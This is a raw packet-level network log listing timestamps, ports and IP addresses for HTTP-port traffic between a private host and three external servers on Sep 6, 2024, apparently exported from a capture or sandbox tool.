Sep 6, 2024 08:17:06.997524977 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.997535944 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997541904 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997561932 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.997587919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997594118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997605085 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997617960 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.997649908 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.997649908 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.997679949 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997685909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997692108 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997744083 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997750044 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997756004 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997770071 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.997833014 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.998173952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998178959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998189926 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998203993 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998209000 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998219967 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998228073 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998234034 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998234987 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.998256922 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.998291969 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998302937 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.998327017 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998332977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998389006 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.998402119 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998408079 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998414040 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998433113 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998437881 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998461008 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.998461008 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.998482943 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998487949 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998497963 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.998509884 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998554945 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998557091 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.998559952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998574018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998579979 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998585939 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.998606920 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.998651981 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.007311106 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007364035 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007369995 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007416010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007421970 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007432938 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007462978 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.007528067 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007534027 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007544041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007550001 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007555962 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007569075 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007571936 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.007617950 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.007639885 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007652044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007658005 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007663012 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007683992 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.007683992 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.007759094 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007765055 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007776022 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007781982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007787943 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007797956 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007810116 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007814884 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007822037 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.007822037 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.007822037 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.007924080 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007930040 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007940054 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007946014 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007951975 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007956982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007960081 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.007962942 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.007991076 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.007991076 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.008048058 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.008054018 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.008065939 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.008086920 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.008160114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.008164883 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.008177042 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.008182049 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.008188009 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.008193970 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.008203983 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.008208990 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.008256912 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.008256912 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.008256912 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.009505987 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009511948 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009522915 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009568930 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009574890 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009579897 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009584904 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009589911 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009598970 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.009630919 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.009630919 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.009665966 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009671926 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009684086 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009690046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009713888 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.009766102 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009773016 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009778023 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009783983 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009795904 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009800911 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009802103 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.009802103 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.009818077 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.009876013 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009881973 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009892941 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009898901 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009905100 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.009910107 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:07.009924889 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.009947062 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.009947062 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.010150909 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.010180950 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:07.010193110 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.010198116 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.010246992 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.010252953 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.010262966 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.010268927 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.010274887 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.010282040 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.010327101 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.010327101 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.012253046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.012299061 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.012305021 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.012362003 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.012367010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.012372971 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.012377977 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.012418985 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.012463093 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.012463093 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.014570951 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.014615059 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.014688969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.014723063 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.014863968 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.014864922 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.014935017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.014969110 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.015017986 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015023947 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015031099 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015034914 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015042067 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015069962 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.015088081 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.015088081 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.015100002 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015106916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015113115 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015125036 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015130997 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015163898 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.015196085 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015211105 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015216112 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015240908 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.015243053 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015295029 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.015325069 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015331030 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015338898 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.015343904 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.015350103 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.015369892 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.015373945 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.015388966 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.015389919 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.015405893 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.015413046 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.015419006 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.015423059 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.015430927 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.015430927 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.015484095 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.015484095 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.015909910 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015940905 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015947104 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.015996933 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.016033888 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.016040087 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.016046047 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.016051054 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.016057014 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.016078949 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.016078949 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.016243935 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.039825916 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.039874077 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.039877892 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.039910078 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.039913893 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.039920092 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.039926052 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.039932013 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.039958000 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.039964914 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.039964914 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.040029049 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.066392899 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.066416025 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.066421986 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.066469908 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.066476107 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.066482067 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.066495895 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.066508055 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.066579103 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.067481041 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.068192959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.068198919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.068209887 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.068264961 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.068289995 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.068295002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.068304062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.068315029 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.068371058 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.068371058 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.068464041 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.069524050 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.069529057 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.069540024 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.069546938 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.069551945 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.069562912 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.069567919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.069586039 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.069619894 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.069628000 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.069920063 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.069931030 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.069937944 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.069942951 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.069984913 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.069984913 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.070060015 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.070065975 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.070077896 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.070081949 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.070118904 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.070118904 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.075766087 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.075783014 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.075871944 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.075877905 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.075890064 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.075892925 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.075896025 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.075958014 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.075958014 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.075972080 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.075978041 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.075989008 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.075994968 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076042891 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.076061964 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076067924 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076078892 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076085091 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076088905 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076102972 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.076137066 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.076137066 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.076359034 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076363087 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076443911 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076450109 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076462984 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076471090 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076477051 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076483965 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.076505899 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.076512098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076517105 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076574087 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.076586962 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076592922 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076602936 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076622009 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.076637030 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076642990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076653957 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076695919 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.076695919 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.076695919 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.076776028 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076817989 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076874971 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076879978 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076890945 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076898098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076950073 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.076950073 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.076977968 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076982975 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076993942 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.076999903 CEST	80	49733	147.45.44.104	192.168.2.4
